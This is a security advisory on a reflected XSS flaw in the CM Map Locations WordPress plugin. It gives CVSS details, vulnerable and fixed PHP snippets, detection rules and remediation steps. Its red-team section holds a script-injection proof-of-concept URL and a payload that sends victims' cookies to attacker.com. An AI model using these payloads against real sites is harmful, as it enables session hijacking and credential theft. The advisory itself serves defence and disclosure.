CVE-2025-48151

Executive Summary

CVE-2025-48151 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin CM Map Locations by CreativeMindsSolutions, affecting versions up to and including 2.1.6. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can lead to session hijacking, credential theft, or defacement. The CVSS score is 7.1 (High), and no public exploit or patch is currently available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for unpatched WordPress sites.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Users are advised to verify the integrity of their plugin files and monitor for updates from CreativeMindsSolutions. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 7.1 (High)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: Required (UI:R) – The victim must click a crafted link.
• Scope: Changed (S:C) – The injected script can affect other resources.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited modification of content.
• Availability Impact: Low (A:L) – Limited disruption.

Threat Level: High. While no active exploitation is reported, the ease of exploitation and potential impact on WordPress sites make this a priority for patching.

Deep Dive & Mechanics

The vulnerability exists in the cm-map-locations plugin, which provides map location functionality. The plugin fails to sanitize or escape user-supplied input before reflecting it in the HTTP response. Specifically, parameters such as search, lat, lng, or other query string values are directly embedded into the page without proper encoding.

Attack Vector:

1. An attacker crafts a malicious URL containing JavaScript payload in a vulnerable parameter.
2. The victim (authenticated or unauthenticated) clicks the link.
3. The plugin processes the request and reflects the payload in the response.
4. The victim's browser executes the injected script in the context of the WordPress site.

Root Cause: The plugin uses functions like echo $_GET['param'] or similar without applying esc_html(), esc_js(), or wp_kses().

Vulnerable vs. Patched Code

Vulnerable Code (example):

$search = $_GET['search'];
echo "<div class='search-result'>$search</div>";

Patched Code (expected):

$search = isset($_GET['search']) ? sanitize_text_field($_GET['search']) : '';
echo "<div class='search-result'>" . esc_html($search) . "</div>";

The patched version would use WordPress escaping functions to neutralize any HTML or JavaScript.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WordPress site with CM Map Locations <= 2.1.6
• No authentication required for the vulnerable endpoint

Proof-of-Concept (PoC):

<!-- Crafted URL -->
http://target.com/?page_id=123&search=<script>alert('XSS')</script>

Step-by-Step:

1. Identify a page using the [cm_map_locations] shortcode.
2. Append a malicious parameter to the URL.
3. Send the link to a victim via phishing or social engineering.
4. The injected script executes in the victim's browser.

Advanced Payload:

// Steal cookies
<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>

Blue Team (Defensive)

Detection:

• Monitor web server logs for unusual query strings containing <script>, onerror, javascript:.
• Use WAF rules to block reflected XSS patterns.

Hunting:

• Search for cm-map-locations plugin files for unsanitized $_GET or $_REQUEST usage.
• Check for recent modifications to plugin files.

Indicators of Compromise (IOCs)

• URL Patterns: ?search=<script>, ?lat=javascript:, ?lng=onerror=
• Log Entries: HTTP requests with cm-map-locations in the URI and suspicious parameters.
• File Hashes: (None available – plugin files may be modified)
• Network Traffic: Outbound connections to attacker-controlled domains from the WordPress server.

Detection Engineering

YARA Rule

rule CVE_2025_48151_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against CM Map Locations plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-48151"
    strings:
        $xss1 = /<script[^>]*>/i
        $xss2 = /onerror\s*=/i
        $xss3 = /javascript\s*:/i
        $plugin = "cm-map-locations"
    condition:
        any of ($xss*) and $plugin
}

Sigma Rule

title: Reflected XSS Attempt Against CM Map Locations
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts targeting the CM Map Locations WordPress plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - 'cm-map-locations'
            - '<script'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in search parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-48151 Reflected XSS CM Map Locations"; flow:to_server,established; content:"cm-map-locations"; http_uri; pcre:"/(<script|onerror=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the CM Map Locations plugin until a patch is released.
2. Implement a Web Application Firewall (WAF) rule to block reflected XSS patterns.
3. Restrict access to the plugin's admin pages.

Long-Term Fix:

• Apply the official patch from CreativeMindsSolutions when available.
• Update to the latest version of the plugin (if patched).
• Conduct a security audit of all WordPress plugins.

Workarounds:

• Use a security plugin like Wordfence to add virtual patching.
• Manually edit the plugin files to add input sanitization (not recommended for production).

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert